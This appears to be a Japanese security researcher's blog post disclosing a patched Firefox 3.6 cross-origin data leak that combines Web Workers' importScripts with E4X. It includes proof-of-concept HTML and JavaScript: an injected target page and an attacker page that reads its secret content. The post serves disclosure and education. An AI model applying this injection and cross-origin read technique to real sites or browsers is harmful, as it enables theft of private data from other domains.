みなさん、こんにちは。ネットエージェント株式会社 研究開発部の長谷川です。
今週の水曜日に Mozilla Firefox 3.6.7 がリリースされましたが、このバージョンには私が発見した脆弱性(*1)の修正が含まれています。今日はその内容について説明したいと思います。
(*1) MFSA 2010-42: Web ワーカーの importScripts を通じたクロスサイトデータ漏えい
-----
■概要
Mozilla Firefox 3.6.4 および 3.6.6 において、Web Workers と E4X の機能を組み合わせることで、細工されたHTMLページに被害者を誘導することにより、他のドメイン上のコンテンツを攻撃者が盗みだすことが可能になります。
■脆弱性を確認したバージョン
Mozilla Firefox 3.6.4、3.6.6
他のプロダクトおよびバージョンにおいても本脆弱性への対応がとられていますので、詳細はmozilla-japan.orgのセキュリティアナウンスをご確認ください。
■Web Workers
Web Workers とは、JavaScript でマルチスレッドなコードを実行するためのHTML5関連API(*2)で、現在IEを除く主要なブラウザで実装されています。
(*2) Web Workers Draft Recommendation - WHATWG
var worker = new Worker( "webworker.js" );
worker.onmessage = function( event ){
// Workerスレッドからのコールバック
alert( event.data );
};
このコードでは、HTMLと同一ディレクトリに存在する "webworker.js" 内のコードを新しいスレッドとして実行します。Web Worker のコンストラクタ Worker() では、same origin policy の制約があるため、HTMLと同じドメイン、同じポートにある JavaScript ファイルしかロードすることはできませんが、Workerスレッド内で importScripts というメソッドを使用することにより、この制約を超えて他のドメイン上にあるJavaScriptソースをロードできます。
/* webworker.js 内のコード */
importScripts( "http://external.example.jp/foo.js" );
この例では、webworker.js とは異なるドメイン external.example.jp 上にある foo.js というコードをロードしています。
■E4X
E4X とは、「ECMAScript for XML」の略であり、JavaScript や ActionScript などのECMAScript処理系において、XMLをネイティブ機能として扱うための仕様(*3)で、現在主要なブラウザの中では Mozilla Firefox でのみサポートされています。
(*3) Standard ECMA-357 ECMAScript for XML (E4X) Specification
E4Xを利用すると、JavaScript内で文字列や数値と同じようにXMLを直接的に扱うことができます。
var xml = <person><name>Yosuke</name>
<mail>hasegawa@utf-8.jp</mail></person>;
alert( xml.name );
また、XML内の { } で囲まれた部分はJavaScriptとして解釈され実行されます。
var x = 3;
var xml = <s><item>{ x * 3 }</item></s>;
alert( xml.item );
E4Xに関連したセキュリティ上の従来の問題点についての詳細は、[ニッチ]E4Xで攻撃できる? できない? - @ITの記事をご参照ください。
■実際の攻撃の詳細
上で説明した、Web Workers と E4X を組み合わせることで攻撃が可能となります。
攻撃者は、攻撃対象となるHTMLページ(内容を盗み読みたいHTMLページ)の一部をコントロールできるものとします。その場合に、以下のような形式となるよう攻撃対象のHTMLページに文字列を挿入します。
div1 および div3 が攻撃者がコントロールした箇所、div2 は攻撃者は本来知り得ない機密情報が含まれる箇所です。
// http://target.example.jp/target.html
<html>
<body>
<div id="div1">{postMessage("</div>
<div id="div2">secret text here</div>
<div id="div3">")}</div>
</body>
</html>
HTMLをこのような形式とすることで、HTMLをJavaScriptのコードとしても読み込み可能なものとします。E4X の機能を使っていますので、JavaScript として解釈すると、{ } で囲まれた中が実行され、postMessage関数に機密情報を含む文字列を引数として渡していることがわかると思います。
次に、攻撃者は以下のような罠となるWebページとJavaScriptファイルを用意します。
// http://attack.example.jp/index.html
<html>
<head>
<script>
function foo(){
worker = new Worker( "webworker.js" );
worker.onmessage = function( event ){
document.getElementById( "div1" ).innerHTML = event.data;
}
}
</script>
</head>
<body onload="javascript:foo()">
<div id="div1"></div>
</body>
</html>
// http://attack.example.jp/webworker.js
importScripts( "http://target.example.jp/target.html" );
この罠ページに被害者がアクセスすると、Web Workers の Worker スレッドから先ほどの target.html が読み込まれ、target.html 内の機密情報が罠ページ内のworker.onmessageメソッドに引き渡されます。
これにより、攻撃者は target.html 内の機密情報を取得することができました。
■実際の影響範囲
この手法で攻撃を成功させるには、攻撃対象となるHTMLファイルについて以下のような条件が必要となります。
1. HTMLファイルに攻撃者自身が"postMessage"等の文字列を挿入できる
2. 攻撃者が文字列を挿入してもE4Xとして適切なフォーマットを維持できている
3. HTMLファイルにXML宣言やDOCTYPE宣言がない
実際には、このような条件を満たすようなHTMLファイルはそれほど多くないため、現実にこの手法を利用した攻撃の対象となるWebアプリケーションというのはそれほど多くないと思います。
■修正内容
Mozilla Firefox の修正については、importScripts メソッドで読み込んだJavaScriptファイルが単一のXMLオブジェクトであった場合にはエラーとするような実装になったようです。これは、<script> 要素によってHTMLをJavaScriptとして読み込んだ場合(*4)の挙動と同様であり、通常のHTMLファイルをJavaScriptとして扱わないようにするためとしては、副作用も小さい方法だと思います。
(*4) Bug 375250 - Reject (JSON is fixed now) E4X masquerading as JS source
■さいごに
今回のような脆弱性は、発見に際して技術的な難易度というのは全くありませんが、HTML5のように新しく導入された様々な新機能と、E4Xのようにマイナーながらも旧来から存在する機能を組み合わせることで新たに脆弱性を作り出す、いわば「ひらめき」のような能力が必要となります。
この「ひらめき」は、過去の類似の脆弱性だけでなく、ブラウザの細かな機能や挙動といった、手持ちの札が多いほど有利になると私自身は考えています。そのためにも、今後もHTML5をはじめ様々なブラウザの機能についてより一層、調査研究を続けていきたいと思います。
-----
●お知らせ
ネットエージェントではこの夏、初のインターンシップを開催することとなりました。一歩進んだセキュリティや暗号解析、生のパケットに興味のある学生のみなさんのご参加をお待ちしております。
詳細はこちらをご覧ください。